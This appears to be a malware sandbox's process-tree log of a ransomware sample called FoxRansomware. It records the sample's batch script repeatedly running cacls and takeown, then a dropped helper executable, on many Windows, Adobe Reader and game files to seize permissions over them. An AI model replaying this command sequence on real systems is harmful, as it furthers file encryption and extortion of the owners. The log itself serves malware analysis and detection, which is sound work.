C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\it-IT\resource.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\it-IT\resource.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "resource.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "resource.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\tasks.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\tasks.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\tasks.xml"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "tasks.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "tasks.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "behavior.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "behavior.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\de-DE\resource.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\de-DE\resource.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\de-DE\resource.xml"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "resource.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "resource.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Users\All Users\Microsoft\Network\Downloader\qmgr1.dat""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Network\Downloader\qmgr1.dat" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Network\Downloader\qmgr1.dat"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "qmgr1.dat" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "qmgr1.dat" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "device.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "device.png" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\it-IT\resource.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\it-IT\resource.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\it-IT\resource.xml"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "resource.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "resource.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\tasks.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\tasks.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\tasks.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "tasks.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "tasks.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\cryptocme2.sig""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\cryptocme2.sig" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\cryptocme2.sig"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "cryptocme2.sig" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "cryptocme2.sig" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\pmd.cer""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\pmd.cer" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\pmd.cer"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "pmd.cer" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "pmd.cer" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_initiator.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_initiator.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_initiator.gif"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "email_initiator.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "email_initiator.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\pdf.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\pdf.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\pdf.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "pdf.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "pdf.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_issue.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_issue.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_issue.gif"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "server_issue.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "server_issue.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInAcrobat.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInAcrobat.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInAcrobat.gif"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "turnOnNotificationInAcrobat.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "turnOnNotificationInAcrobat.gif" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd.otf""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd.otf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd.otf"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "CourierStd.otf" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "CourierStd.otf" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zx______.pfm""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zx______.pfm" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zx______.pfm"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "zx______.pfm" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "zx______.pfm" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US_POSIX.txt""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US_POSIX.txt" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US_POSIX.txt"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "DisplayLanguageNames.en_US_POSIX.txt" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "DisplayLanguageNames.en_US_POSIX.txt" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can32.clx""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can32.clx" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can32.clx"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "can32.clx" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "can32.clx" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\symbol.txt""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\symbol.txt" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\symbol.txt"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "symbol.txt" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "symbol.txt" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\SYMBOL.TXT""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\SYMBOL.TXT" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\SYMBOL.TXT"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "SYMBOL.TXT" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "SYMBOL.TXT" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "behavior.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "behavior.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\de-DE\resource.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\de-DE\resource.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\de-DE\resource.xml"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "resource.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "resource.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\ProgramData\Microsoft\Network\Downloader\qmgr1.dat""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Network\Downloader\qmgr1.dat" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Network\Downloader\qmgr1.dat"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "qmgr1.dat" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "qmgr1.dat" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files\Microsoft Games\Chess\ChessMCE.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\Chess\ChessMCE.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\Chess\ChessMCE.png"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "ChessMCE.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "ChessMCE.png" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "resource.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "resource.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\fr-FR\resource.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\fr-FR\resource.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\fr-FR\resource.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "resource.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "resource.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\license.html""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\license.html" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\license.html"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c NDS5iFeg.exe -accepteula "license.html" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula "license.html" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NDS5iFeg.exeNDS5iFeg.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\DCr11KY9.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\add_reviewer.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\add_reviewer.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\add_reviewer.gif"3⤵
-
-
